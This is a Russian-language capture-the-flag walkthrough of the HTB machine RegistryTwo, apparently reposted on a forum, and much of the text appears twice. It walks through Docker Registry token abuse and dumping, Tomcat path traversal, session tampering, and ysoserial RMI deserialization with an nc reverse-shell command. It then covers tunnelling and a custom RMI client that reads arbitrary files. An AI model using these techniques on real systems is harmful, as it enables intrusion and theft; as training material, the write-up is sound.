stihl не предоставил(а) никакой дополнительной информации.
В этом райтапе я покажу эксплуатацию нескольких уязвимостей в Java RMI, но сначала проведем атаку на Docker Registry, которая позволит нам получить доступ к файлам сайта.
Наша цель — захват учетной записи суперпользователя на машине RegistryTwo с учебной площадки Для просмотра ссылки Войдиили Зарегистрируйся. Уровень ее сложности — «безумный».
И запускаем сканирование портов.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Сканер нашел четыре открытых порта:
Для просмотра ссылки Войдиили Зарегистрируйся
Ответ сервера
Выходит, нам нужно аутентифицироваться на сервере. Поэтому обратимся к порту 5001 для получения токена.
curl -k -s Для просмотра ссылки Войдиили Зарегистрируйся | jq
Получение токена доступа
Проверяем полученный токен с помощью Для просмотра ссылки Войдиили Зарегистрируйся.
Информация о токене
Нас интересует поле access, так как оно содержит текущие разрешения. В данном случае оно пустое. Снова выполним запрос к API, но просмотрим и HTTP-заголовки запроса и ответа.
Для просмотра ссылки Войдиили Зарегистрируйся
В заголовке www-authenticate видим параметры, необходимые для запроса токена. Запросим новый токен, учтя полученные параметры.
Получение токена
Информация о токене
В новом токене появились привилегии для доступа к каталогу. Теперь мы можем передать этот токен в запросе к API и получить список репозиториев.
Список репозиториев
Для автоматизации работы с репозиториями можно использовать Для просмотра ссылки Войдиили Зарегистрируйся. Но есть проблема: скрипт принимает логин и пароль для авторизации на сервере, а мы знаем только токен. Поэтому я немного модифицировал скрипт, чтобы он в качестве учетных данных принимал токен доступа.
Токен передаем в параметре -T, а для проверки получим список репозиториев. В этом нам поможет параметр --list.
Список репозиториев
Теперь сдампим весь репозиторий на свой хост, для чего передаем название репозитория в параметре --dump.
Дамп репозитория
Получаем сообщение об ошибке, так как у этого токена нет разрешений на дамп репозиториев. Нужно запросить новый токен, для чего снова обращаемся к API /v2/hosting-app/tags/list и получаем параметры из HTTP-заголовка.
Ответ сервера
Запрос токена
Повторно дампим репозиторий hosting-app с новым токеном, на этот раз успешно.
Дамп репозитория
После загрузки всех архивов переходим к анализу файлов. Их у нас теперь очень много, поэтому нужно определить, что из этого будет нам полезно.
Содержимое файла hosting.ini
А вот в архиве 4a19a0...82ac42 лежит весь каталог Apache Tomcat, что дает нам доступ к исходному коду сайта.
Содержимое каталога tomcat
Больше всего нас интересует каталог webapps, содержащий исходники работающих на сервере веб‑приложений, где и находим модуль hosting.
Содержимое каталога hosting
Теперь можно перейти к анализу самого сайта.
Главная страница авторизованного пользователя
При тестировании сайтов на Tomcat всегда стоит проверять, нет ли уязвимости обхода каталога.
Результат проверки пути
Мы узнали, что уязвимость есть, поэтому сразу перейдем к странице Servlet Examples.
Страница Servlet Examples
Эта страница открывает богатейшие возможности для манипулирования данными сессий и даже сайта.
Пришло время перейти к анализу кода обнаруженного ранее модуля. Так как это приложение на Java, для его реверса я буду использовать Для просмотра ссылки Войдиили Зарегистрируйся.
В классе AuthenticationServlet видим, что пользователь может быть менеджером, за что отвечает атрибут сессии s_IsLoggedInUserRoleManager (строки 43–45).
Декомпилированный код класса AuthenticationServlets
Судя по классу ConfigurationServlet, можно делать настройки. Доступ к этим функциям имеет как раз пользователь с ролью менеджера (строки 42–46).
Декомпилированный код класса ConfigurationServlet
Один из сервлетов Tomcat позволяет манипулировать атрибутами сессий. Давай активируем роль менеджера, для чего атрибуту s_IsLoggedInUserRoleManager установим значение true.
Страница сервлета Session Example
Установленные атрибуты сессии
Страница /reconfigure
Запрос для сохранения изменений
На прошлом скриншоте исходного кода класса ConfigurationServlet нас интересует обработчик doPost (строки 28–38). В зависимости от полученных параметров управление дальше передается разным обработчикам. Так, параметры domains.max и domains.start-template упоминаются только в классе DomainServlet (строки 49–62).
Исходный код класса DomainServlet
При этом в строках 59 и 60 вызывается метод get класса RMIClientWrapper. В коде этого метода также отыскался параметр rmi.host, который в запросе не передавался.
Исходный код класса RMIClientWrapper
Видимо, если мы отправим адрес хоста в параметре rmi.host, сервер выполнит запрос по этому адресу. В коде видим фильтр, который проверяет, оканчивается ли адрес подстрокой .htb. Этот фильтр мы можем обойти, используя нулевой байт %00. Запускаем листенер (nc -nlvp 9002) и выполняем запрос.
Запрос на сервер
Логи листенера
И моментально в окне листенера видим входящий запрос RMI.
Java RMI — это механизм, который позволяет вызывать метод удаленного объекта, даже на другом сервере. В некоторых вариантах такое подключение может привести даже к RCE, так как передаются и выполняются сериализованные данные.
Попробуем использовать Для просмотра ссылки Войдиили Зарегистрируйся. Для этого запускаем Для просмотра ссылки Войди или Зарегистрируйся в режиме листенера, который примет запрос и вернет нагрузку, выполняющую реверс‑шелл. Также запускаем листенер (rlwrap nc -nlpv 4321), чтобы принимать соединение от реверс‑шелла.
Когда все готово, повторяем запрос в Burp Repeater и получаем сначала запрос RMI, а затем и бэкконнект.
Логи ysoserial
Сессия пользователя app
Прослушиваемые порты
Для доступа к порту нужно сделать туннель, к примеру с помощью Для просмотра ссылки Войдиили Зарегистрируйся. На своем хосте запускаем режим сервера, ожидающий подключения к порту 5432.
На удаленном хосте — режим клиента, которому указываем адрес для подключения, а также настройку туннеля socks.
В логах сервера мы должны увидеть созданную сессию.
Логи сервера chisel
Для исследования RMI-приложений я использую инструмент Для просмотра ссылки Войдиили Зарегистрируйся. Для первой проверки задаем опцию enum, а чтобы направить трафик в созданный туннель, в конец файла /etc/proxychains.conf добавляем запись socks5 127.0.0.1 1080.
Результат проверки RMI
Нам доступны два класса: QuarantineService и FileService. О первом сказать нечего, а вот FileService уже присутствовал в исследованном ранее приложении.
Исходный код интерфейса FileService
Интерфейс содержит много методов, скорее всего, для работы с файловой системой. Попробуем найти вызовы метода list, видимо, отображающего содержимое переданного каталога (строка 18).
Исходный код класса FileUtil
Переходим к сложной части. Нужно будет написать свое приложение, использующее тот же интерфейс, при этом нужно подключаться к RMI и вызывать метод list на удаленном хосте. В качестве среды разработки я буду использовать Intellij IDEA.
Распакуем полученное приложение, удалим из него файл класса RMIClientWrapper и создадим новый проект со своей реализацией. Копируем старый код, в методе get явно указываем адрес сервера, а также добавляем функцию main, получающую список файлов.
Для работы этого кода добавляем в наш файл реализацию других затронутых классов и методов. Импорты среда разработки подтянет автоматически.
Теперь переходим к функции main и рядом с ее определением нажимаем кнопочку запуска приложения.
Реализация класса RMIClientWrapper
Ошибка при запуске приложения
Но при запуске видим ошибку соединения, так как приложение не может получить доступ к порту в обход туннеля. Давай просто скопируем строку запуска и запустим программу в консоли, но уже через proxychains.
Результат работы приложения
И получаем содержимое каталога приложения! Теперь мы можем просматривать файловую систему удаленного сервера, просто меняя в нашем приложении переменную dir. Давай просмотрим домашние каталоги пользователей.
Для просмотра ссылки Войдиили Зарегистрируйся
Содержимое каталога /home/developer
Находим всего одного пользователя с домашним каталогом, где есть очень интересный файл .git-credentials. Теперь получим его содержимое, для чего будем использовать метод view. Давай дополним функцию main и для пробы прочитаем файл /etc/passwd.
Результат выполнения кода
Во время чтения файла получаем ошибку, разобраться с которой у меня долго не выходило, пока на форуме мне не указали на то, что имя файла шифруется перед отправкой. Тогда код функции main приобретает следующий вид.
Добавляем в файл код класса CryptUtil.
Результат выполнения кода
Код работает, теперь у нас есть возможность читать файлы. Вернемся к файлу .git-credentials.
Содержимое файла .git-credentials
С полученными учетными данными авторизуемся по SSH и забираем первый флаг.
Флаг пользователя
или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Просматриваем вывод скрипта и подмечаем, что в каталоге /opt есть созданный пользователем файл registry.jar.
Файлы, добавленные пользователем
Информации мало, поэтому проследим, запускается ли этот файл. Для отслеживания запускаемых процессов в системе мы будем использовать утилиту Для просмотра ссылки Войдиили Зарегистрируйся. В выводе находим запуск другого файла — quarantine.jar. Но, что более интересно, он запускается в контексте пользователя с UID=0, а это root.
Вывод утилиты pspy64
Скачиваем оба файла на свой хост для анализа.
Начинаем с файла, который запускается. В функции Main создается объект класса Client и вызывается метод scan (строка 10).
Исходный код класса Main
Этот класс доступен и через RMI. После подключения к порту 9002 происходит получение конфигурации, которая передается конструктору класса ClamScan (строки 28–31). В методе scan программа получает список файлов, каждый из которых передается в метод doScan (строки 35–43).
Исходный код класса Client
В конфиге указан каталог для сканирования и каталог, видимо, для результатов сканирования, а также хост, порт и тайм‑аут для подключения (строки 10–14).
Исходный код класса QuarantineConfiguration
Переходим к методу doScan, где стоит обратить внимание на строки 69, 70 и 77. Если при сканировании метод scanPath класса ClamScan вернет FAILED, то файл передается на карантин, где и происходит копирование файла.
Исходный код класса Client (продолжение)
Перейдем к классу ClamScan и взглянем на метод scanPath. Первым делом он подключается к указанному в конфигурации адресу (строки 163–165). Отправляется лишь информация о сканируемом файле (строки 204–205).
Исходный код класса Client (продолжение)
Исходный код класса ScanResult
Теперь перейдем к файлу сервера RMI. Сервер принимает соединение и передает конфиги.
Код класса Server
Создание конфига с параметрами находим в классе QuarantineServerImpl.
Код класса QuarantineServerImpl
Выходит, что если мы сможем запустить свой сервер и передать свои конфиги для сканирования, то у нас появится возможность скопировать все файлы из произвольного каталога. Конечно же, нам интересен каталог пользователя root. Еще раз запускаем pspy64, чтобы отследить, происходит ли запуск файла сервера.
Логи pspy64
В логах находим периодический перезапуск файла сервера, а значит, мы можем успеть запустить свою версию.
В этот раз мы не будем заново писать код, а изменим в уже собранном файле всего одну строку в классе QuarantineServerImpl, где происходит установка конфига. Это строка 15.
Указываем каталог /root/ для сканирования и копирования файлов в каталог/tmp/quarantine. Затем в меню декомпилятора выбираем File → Export Program и сохраняем новый файл JAR. Копируем его на удаленный сервер и запускаем в цикле. Как только сервер запустится, получим соответствующее сообщение.
Запуск сервера RMI
Для получения логов на локальном хосте откроем порт 3310.
Логи сканирования
В логах снова видим файл .git-credentials. Давай найдем его на сервере.
Каталоги с отчетами о сканировании
Содержимое файла .git-credentials
С полученным паролем авторизуемся от имени root и забираем последний флаг.
Флаг рута
Машина захвачена!
Наша цель — захват учетной записи суперпользователя на машине RegistryTwo с учебной площадки Для просмотра ссылки Войди
Разведка
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:10.10.11.223 registrytwo.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Сканер нашел четыре открытых порта:
- 22 — служба OpenSSH 7.6p1;
- 443 — веб‑сервер Nginx 1.14.0;
- 5000 — сервис Docker Registry;
- 5001 — сервис аутентификации Docker Registry.
10.10.11.223 registrytwo.htb webhosting.htb [URL='http://www.webhosting.htb']www.webhosting.htb[/URL]
Для просмотра ссылки Войди
Точка входа
Переходим к проверке Docker Registry и делаем запрос к API /v2/_catalog.curl -k -s [URL]https://webhosting.htb:5000/v2/_catalog[/URL] | jq

Выходит, нам нужно аутентифицироваться на сервере. Поэтому обратимся к порту 5001 для получения токена.
curl -k -s Для просмотра ссылки Войди

Проверяем полученный токен с помощью Для просмотра ссылки Войди
python3 jwt_tool.py eyJ0eXAiOiJKV1Q...

Нас интересует поле access, так как оно содержит текущие разрешения. В данном случае оно пустое. Снова выполним запрос к API, но просмотрим и HTTP-заголовки запроса и ответа.
curl -k -s [URL]https://webhosting.htb:5000/v2/_catalog[/URL] -v | jq
Для просмотра ссылки Войди
В заголовке www-authenticate видим параметры, необходимые для запроса токена. Запросим новый токен, учтя полученные параметры.
curl -k -s '[URL='https://webhosting.htb:5001/auth?service=Docker%20registry&scope=registry:catalog:*']https://webhosting.htb:5001/auth?service=Docker registry&scope=registry:catalog:*[/URL]' | jq

python3 jwt_tool.py eyJ0eXAiOiJKV1Q....

В новом токене появились привилегии для доступа к каталогу. Теперь мы можем передать этот токен в запросе к API и получить список репозиториев.
curl -k -s [URL]https://webhosting.htb:5000/v2/_catalog[/URL] -H 'Authorization: Bearer eyJ0eXAi...' | jq

Для автоматизации работы с репозиториями можно использовать Для просмотра ссылки Войди
Код:
#!/usr/bin/env python3
import requests
import argparse
import re
import json
import sys
import os
from base64 import b64encode
import urllib3
from rich.console import Console
from rich.theme import Theme
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
req = requests.Session()
http_proxy = ""
os.environ['HTTP_PROXY'] = http_proxy
os.environ['HTTPS_PROXY'] = http_proxy
custom_theme = Theme({
"OK": "bright_green",
"NOK": "red3"
})
def manageArgs():
parser = argparse.ArgumentParser()
parser.add_argument("url", help="URL")
parser.add_argument("-p", dest='port', metavar='port', type=int, default=5000, help="port to use (default : 5000)")
auth = parser.add_argument_group("Authentication")
auth.add_argument('-T', dest='token', type=str, default="", help='Token')
action = parser.add_mutually_exclusive_group()
action.add_argument("--dump", metavar="DOCKERNAME", dest='dump', type=str, help="DockerName")
action.add_argument("--list", dest='list', action="store_true")
action.add_argument("--dump_all",dest='dump_all',action="store_true")
args = parser.parse_args()
return args
def printList(dockerlist):
for element in dockerlist:
if element:
console.print(f"[+] {element}", style="OK")
else:
console.print(f"[-] No Docker found", style="NOK")
def tryReq(url, token=None):
try:
if token:
r = req.get(url,verify=False, headers={'Authorization': 'Bearer ' + token})
r.raise_for_status()
else:
r = req.get(url,verify=False)
r.raise_for_status()
except requests.exceptions.HTTPError as errh:
console.print(f"Http Error: {errh}", style="NOK")
sys.exit(1)
except requests.exceptions.ConnectionError as errc:
console.print(f"Error Connecting : {errc}", style="NOK")
sys.exit(1)
except requests.exceptions.Timeout as errt:
console.print(f"Timeout Error : {errt}", style="NOK")
sys.exit(1)
except requests.exceptions.RequestException as err:
console.print(f"Dunno what happend but something fucked up {err}", style="NOK")
sys.exit(1)
return r
def createDir(directoryName):
if not os.path.exists(directoryName):
os.makedirs(directoryName)
def downloadSha(url, port, docker, sha256, token=None):
createDir(docker)
directory = f"./{docker}/"
for sha in sha256:
filenamesha = f"{sha}.tar.gz"
geturl = f"{url}:{str(port)}/v2/{docker}/blobs/sha256:{sha}"
r = tryReq(geturl,token)
if r.status_code == 200:
console.print(f" [+] Downloading : {sha}", style="OK")
with open(directory+filenamesha, 'wb') as out:
for bits in r.iter_content():
out.write(bits)
def getBlob(docker, url, port, token=None):
tags = f"{url}:{str(port)}/v2/{docker}/tags/list"
rr = tryReq(tags,token)
data = rr.json()
image = data["tags"][0]
url = f"{url}:{str(port)}/v2/{docker}/manifests/"+image+""
r = tryReq(url,token)
blobSum = []
if r.status_code == 200:
regex = re.compile('blobSum')
for aa in r.text.splitlines():
match = regex.search(aa)
if match:
blobSum.append(aa)
if not blobSum :
console.print(f"[-] No blobSum found", style="NOK")
sys.exit(1)
else :
sha256 = []
cpt = 1
for sha in blobSum:
console.print(f"[+] BlobSum found {cpt}", end='\r', style="OK")
cpt += 1
a = re.split(':|,',sha)
sha256.append(a[2].strip("""))
print()
return sha256
def enumList(url, port, token=None,checklist=None):
url = f"{url}:{str(port)}/v2/_catalog"
try :
r = tryReq(url,token)
if r.status_code == 200:
catalog2 = re.split(':|,|\n ',r.text)
catalog3 = []
for docker in catalog2:
dockername = docker.strip("['"\n]}{")
catalog3.append(dockername)
printList(catalog3[1:])
return catalog3
except:
exit()
def dump(args):
sha256 = getBlob(args.dump, args.url, args.port, args.token)
console.print(f"[+] Dumping {args.dump}", style="OK")
downloadSha(args.url, args.port, args.dump, sha256, args.token)
def dumpAll(args):
dockerlist = enumList(args.url, args.port, args.token)
for docker in dockerlist[1:]:
sha256 = getBlob(docker, args.url, args.port, args.token)
console.print(f"[+] Dumping {docker}", style="OK")
downloadSha(args.url, args.port,docker,sha256,args.token)
def options():
args = manageArgs()
if args.list:
enumList(args.url, args.port,args.token)
elif args.dump_all:
dumpAll(args)
elif args.dump:
dump(args)
if name == 'main':
print(f"[+]======================================================[+]")
print(f"[|] Docker Registry Grabber v1 @SyzikSecu [|]")
print(f"[+]======================================================[+]")
print()
urllib3.disable_warnings()
console = Console(theme=custom_theme)
options()
Токен передаем в параметре -T, а для проверки получим список репозиториев. В этом нам поможет параметр --list.
python3 DockerGraber_token.py --list [URL]https://webhosting.htb[/URL] -T eyJ0eXAi...

Теперь сдампим весь репозиторий на свой хост, для чего передаем название репозитория в параметре --dump.
python3 DockerGraber_token.py --dump hosting-app [URL]https://webhosting.htb[/URL] -T eyJ0eXA

Получаем сообщение об ошибке, так как у этого токена нет разрешений на дамп репозиториев. Нужно запросить новый токен, для чего снова обращаемся к API /v2/hosting-app/tags/list и получаем параметры из HTTP-заголовка.
curl -k -s [URL]https://webhosting.htb:5000/v2/hosting-app/tags/list[/URL] -v | jq

curl -k -s '[URL='https://webhosting.htb:5001/auth?service=Docker%20registry&scope=repository:hosting-app:pull']https://webhosting.htb:5001/auth?service=Docker registry&scope=repository:hosting-app:pull[/URL]' | jq

python3jwt_tool.py eyJ0eXAiOiJKV1Q....
Повторно дампим репозиторий hosting-app с новым токеном, на этот раз успешно.
python3 DockerGraber_token.py --dump hosting-app [URL]https://webhosting.htb[/URL] -T eyJ0eXAiOiJKV1Q...

После загрузки всех архивов переходим к анализу файлов. Их у нас теперь очень много, поэтому нужно определить, что из этого будет нам полезно.
Точка опоры
В самом первом по алфавиту архиве (0bf45c...79d0ba) находим файл hosting.ini с паролем для MySQL. Он может пригодиться.
А вот в архиве 4a19a0...82ac42 лежит весь каталог Apache Tomcat, что дает нам доступ к исходному коду сайта.

Больше всего нас интересует каталог webapps, содержащий исходники работающих на сервере веб‑приложений, где и находим модуль hosting.

Теперь можно перейти к анализу самого сайта.
Apache Tomcat — path traversal
Регистрируемся и авторизуемся на сайте, чтобы получить доступ ко всем возможностям.
При тестировании сайтов на Tomcat всегда стоит проверять, нет ли уязвимости обхода каталога.
[URL unfurl="true"]https://www.webhosting.htb/hosting/..;/examples/[/URL]

Мы узнали, что уязвимость есть, поэтому сразу перейдем к странице Servlet Examples.

Эта страница открывает богатейшие возможности для манипулирования данными сессий и даже сайта.
Пришло время перейти к анализу кода обнаруженного ранее модуля. Так как это приложение на Java, для его реверса я буду использовать Для просмотра ссылки Войди
В классе AuthenticationServlet видим, что пользователь может быть менеджером, за что отвечает атрибут сессии s_IsLoggedInUserRoleManager (строки 43–45).

Судя по классу ConfigurationServlet, можно делать настройки. Доступ к этим функциям имеет как раз пользователь с ролью менеджера (строки 42–46).

Один из сервлетов Tomcat позволяет манипулировать атрибутами сессий. Давай активируем роль менеджера, для чего атрибуту s_IsLoggedInUserRoleManager установим значение true.
[URL unfurl="true"]https://www.webhosting.htb/hosting/..;/examples/servlets/servlet/SessionExample[/URL]


RCE через Java RMI
Теперь можно перейти к новой странице /hosting/reconfigure и отправить запрос на сохранение изменений. Это нужно, чтобы получить параметры запроса и найти эту функцию в исходниках приложения.

На прошлом скриншоте исходного кода класса ConfigurationServlet нас интересует обработчик doPost (строки 28–38). В зависимости от полученных параметров управление дальше передается разным обработчикам. Так, параметры domains.max и domains.start-template упоминаются только в классе DomainServlet (строки 49–62).

При этом в строках 59 и 60 вызывается метод get класса RMIClientWrapper. В коде этого метода также отыскался параметр rmi.host, который в запросе не передавался.

Видимо, если мы отправим адрес хоста в параметре rmi.host, сервер выполнит запрос по этому адресу. В коде видим фильтр, который проверяет, оканчивается ли адрес подстрокой .htb. Этот фильтр мы можем обойти, используя нулевой байт %00. Запускаем листенер (nc -nlvp 9002) и выполняем запрос.


И моментально в окне листенера видим входящий запрос RMI.
Java RMI — это механизм, который позволяет вызывать метод удаленного объекта, даже на другом сервере. В некоторых вариантах такое подключение может привести даже к RCE, так как передаются и выполняются сериализованные данные.
Попробуем использовать Для просмотра ссылки Войди
/usr/lib/jvm/java-11-openjdk-amd64/bin/java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 9002 CommonsCollections6 'nc 10.10.16.29 4321 -e /bin/bash'
Когда все готово, повторяем запрос в Burp Repeater и получаем сначала запрос RMI, а затем и бэкконнект.


Продвижение
Судя по ограничениям командной оболочки, мы попали в контейнер Docker. Так как на хосте работает Java RMI, эксплуатация уязвимостей в этом механизме — наиболее вероятный путь для продвижения. Среди открытых портов видим 9002.netstat -tulpan

Для доступа к порту нужно сделать туннель, к примеру с помощью Для просмотра ссылки Войди
./chisel.bin server -p 5432 --reverse
На удаленном хосте — режим клиента, которому указываем адрес для подключения, а также настройку туннеля socks.
./chisel.bin client 10.10.16.29:5432 R:127.0.0.1:socks
В логах сервера мы должны увидеть созданную сессию.

Для исследования RMI-приложений я использую инструмент Для просмотра ссылки Войди
proxychains -q /usr/lib/jvm/java-11-openjdk-amd64/bin/java -jar rmg-4.4.1-jar-with-dependencies.jar enum 127.0.0.1 9002

Нам доступны два класса: QuarantineService и FileService. О первом сказать нечего, а вот FileService уже присутствовал в исследованном ранее приложении.

Интерфейс содержит много методов, скорее всего, для работы с файловой системой. Попробуем найти вызовы метода list, видимо, отображающего содержимое переданного каталога (строка 18).

Переходим к сложной части. Нужно будет написать свое приложение, использующее тот же интерфейс, при этом нужно подключаться к RMI и вызывать метод list на удаленном хосте. В качестве среды разработки я буду использовать Intellij IDEA.
Распакуем полученное приложение, удалим из него файл класса RMIClientWrapper и создадим новый проект со своей реализацией. Копируем старый код, в методе get явно указываем адрес сервера, а также добавляем функцию main, получающую список файлов.
Код:
public class RMIClientWrapper {
private static final Logger log = Logger.getLogger(RMIClientWrapper.class.getSimpleName());
public static FileService get() {
try {
String rmiHost = "registry.webhosting.htb";
System.setProperty("java.rmi.server.hostname", rmiHost);
System.setProperty("com.sun.management.jmxremote.rmi.port", "9002");
Registry registry = LocateRegistry.getRegistry(rmiHost, 9002);
return (FileService)registry.lookup("FileService");
} catch (Exception e) {
e.printStackTrace();
throw new RuntimeException(e);
}
}
public static void main(String args[]) {
try {
String dir = "/";
List<AbstractFile> files = get().list("950ba61ab119", dir);
System.out.println("=================================");
System.out.println("Listing: " + dir);
for( AbstractFile file : files ) {
System.out.println( file.getAbsolutePath() );
}
System.out.println("=================================");
} catch (RemoteException e) {
e.printStackTrace();
};
}
}
Для работы этого кода добавляем в наш файл реализацию других затронутых классов и методов. Импорты среда разработки подтянет автоматически.
Код:
class AbstractFile implements Serializable {
private static final long serialVersionUID = 2267537178761464006L;
private final String fileRef;
private final String vhostId;
private final String displayName;
private final File file;
private final String absolutePath;
private final String relativePath;
private final boolean isFile;
private final boolean isDirectory;
private final long displaySize;
private final String displayPermission;
private final long displayModified;
private final AbstractFile parentFile;
public boolean isFile() {
return this.isFile;
}
public String getName() {
return this.file.getName();
}
public boolean canExecute() {
return this.getFile().canExecute();
}
public boolean exists() {
return this.isFile || this.isDirectory;
}
public AbstractFile(String fileRef, String vhostId, String displayName, File file, String absolutePath, String relativePath, boolean isFile, boolean isDirectory, long displaySize, String displayPerm
ission, long displayModified, AbstractFile parentFile) {
this.fileRef = fileRef;
this.vhostId = vhostId;
this.displayName = displayName;
this.file = file;
this.absolutePath = absolutePath;
this.relativePath = relativePath;
this.isFile = isFile;
this.isDirectory = isDirectory;
this.displaySize = displaySize;
this.displayPermission = displayPermission;
this.displayModified = displayModified;
this.parentFile = parentFile;
}
public String getFileRef() {
return this.fileRef;
}
public String getVhostId() {
return this.vhostId;
}
public String getDisplayName() {
return this.displayName;
}
public File getFile() {
return this.file;
}
public String getAbsolutePath() {
return this.absolutePath;
}
public String getRelativePath() {
return this.relativePath;
}
public boolean isDirectory() {
return this.isDirectory;
}
public long getDisplaySize() {
return this.displaySize;
}
public String getDisplayPermission() {
return this.displayPermission;
}
public long getDisplayModified() {
return this.displayModified;
}
public AbstractFile getParentFile() {
return this.parentFile;
}
}
interface FileService extends Remote {
public List<AbstractFile> list(String var1, String var2) throws RemoteException;
public boolean uploadFile(String var1, String var2, byte[] var3) throws IOException;
public boolean delete(String var1) throws RemoteException;
public boolean createDirectory(String var1, String var2) throws RemoteException;
public byte[] view(String var1, String var2) throws IOException;
public AbstractFile getFile(String var1, String var2) throws RemoteException;
public AbstractFile getFile(String var1) throws RemoteException;
public void deleteDomain(String var1) throws RemoteException;
public boolean newDomain(String var1) throws RemoteException;
public byte[] view(String var1) throws RemoteException;
}
Теперь переходим к функции main и рядом с ее определением нажимаем кнопочку запуска приложения.


Но при запуске видим ошибку соединения, так как приложение не может получить доступ к порту в обход туннеля. Давай просто скопируем строку запуска и запустим программу в консоли, но уже через proxychains.

И получаем содержимое каталога приложения! Теперь мы можем просматривать файловую систему удаленного сервера, просто меняя в нашем приложении переменную dir. Давай просмотрим домашние каталоги пользователей.
Для просмотра ссылки Войди

Находим всего одного пользователя с домашним каталогом, где есть очень интересный файл .git-credentials. Теперь получим его содержимое, для чего будем использовать метод view. Давай дополним функцию main и для пробы прочитаем файл /etc/passwd.
Код:
public static void main(String args[]) {
try {
String dir = "../../../../home/developer/";
List<AbstractFile> files = get().list("950ba61ab119", dir);
System.out.println("=================================");
System.out.println("Listing: " + dir);
for( AbstractFile file : files ) {
System.out.println( file.getAbsolutePath() );
}
System.out.println("=================================\n");
String filename = "/etc/passwd";
System.out.println("Content " + filename + " :");
byte[] byteContent = get().view(filename);
String content = new String( byteContent, StandardCharsets.UTF_8 );
System.out.println(content);
} catch (RemoteException e) {
e.printStackTrace();
};
}

Во время чтения файла получаем ошибку, разобраться с которой у меня долго не выходило, пока на форуме мне не указали на то, что имя файла шифруется перед отправкой. Тогда код функции main приобретает следующий вид.
Код:
public static void main(String args[]) {
try {
String dir = "../../../../home/developer/";
List<AbstractFile> files = get().list("950ba61ab119", dir);
System.out.println("=================================");
System.out.println("Listing: " + dir);
for( AbstractFile file : files ) {
System.out.println( file.getAbsolutePath() );
}
System.out.println("=================================\n");
String filename = "/etc/passwd";
System.out.println("Content " + filename + " :");
CryptUtil cryptUtil = new CryptUtil();
byte[] byteContent = get().view(cryptUtil.encrypt(filename));
String content = new String( byteContent, StandardCharsets.UTF_8 );
System.out.println(content);
} catch (RemoteException e) {
e.printStackTrace();
};
}
Добавляем в файл код класса CryptUtil.
Код:
class CryptUtil {
public static CryptUtil instance = new CryptUtil();
Cipher ecipher;
Cipher dcipher;
byte[] salt = new byte[]{-87, -101, -56, 50, 86, 53, -29, 3};
int iterationCount = 19;
String secretKey = "48gREsTkb1evb3J8UfP7";
public static CryptUtil getInstance() {
return instance;
}
public String encrypt(String plainText) {
try {
PBEKeySpec keySpec = new PBEKeySpec(this.secretKey.toCharArray(), this.salt, this.iterationCount);
SecretKey key = SecretKeyFactory.getInstance("PBEWithMD5AndDES").generateSecret(keySpec);
PBEParameterSpec paramSpec = new PBEParameterSpec(this.salt, this.iterationCount);
this.ecipher = Cipher.getInstance(key.getAlgorithm());
this.ecipher.init(1, key, paramSpec);
String charSet = "UTF-8";
byte[] in = plainText.getBytes("UTF-8");
byte[] out = this.ecipher.doFinal(in);
String encStr = Base64.getUrlEncoder().encodeToString(out);
return encStr;
}
catch (Exception e) {
throw new RuntimeException(e);
}
}
public String decrypt(String encryptedText) throws NoSuchAlgorithmException, InvalidKeySpecException, NoSuchPaddingException, InvalidKeyException, InvalidAlgorithmParameterException, UnsupportedEnco
dingException, IllegalBlockSizeException, BadPaddingException, IOException {
PBEKeySpec keySpec = new PBEKeySpec(this.secretKey.toCharArray(), this.salt, this.iterationCount);
SecretKey key = SecretKeyFactory.getInstance("PBEWithMD5AndDES").generateSecret(keySpec);
PBEParameterSpec paramSpec = new PBEParameterSpec(this.salt, this.iterationCount);
this.dcipher = Cipher.getInstance(key.getAlgorithm());
this.dcipher.init(2, key, paramSpec);
byte[] enc = Base64.getUrlDecoder().decode(encryptedText);
byte[] utf8 = this.dcipher.doFinal(enc);
String charSet = "UTF-8";
String plainStr = new String(utf8, "UTF-8");
return plainStr;
}
}

Код работает, теперь у нас есть возможность читать файлы. Вернемся к файлу .git-credentials.

С полученными учетными данными авторизуемся по SSH и забираем первый флаг.

Локальное повышение привилегий
Мы в системе, пора собирать информацию! Я, как всегда, загружу и запущу на целевом хосте PEASS.Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки ВойдиПросматриваем вывод скрипта и подмечаем, что в каталоге /opt есть созданный пользователем файл registry.jar.

Информации мало, поэтому проследим, запускается ли этот файл. Для отслеживания запускаемых процессов в системе мы будем использовать утилиту Для просмотра ссылки Войди

Скачиваем оба файла на свой хост для анализа.
Код:
scp developer@webhosting.htb:/usr/share/vhost-manage/includes/quarantine.jar ./
scp developer@webhosting.htb:/opt/registry.jar ./
Начинаем с файла, который запускается. В функции Main создается объект класса Client и вызывается метод scan (строка 10).

Этот класс доступен и через RMI. После подключения к порту 9002 происходит получение конфигурации, которая передается конструктору класса ClamScan (строки 28–31). В методе scan программа получает список файлов, каждый из которых передается в метод doScan (строки 35–43).

В конфиге указан каталог для сканирования и каталог, видимо, для результатов сканирования, а также хост, порт и тайм‑аут для подключения (строки 10–14).

Переходим к методу doScan, где стоит обратить внимание на строки 69, 70 и 77. Если при сканировании метод scanPath класса ClamScan вернет FAILED, то файл передается на карантин, где и происходит копирование файла.

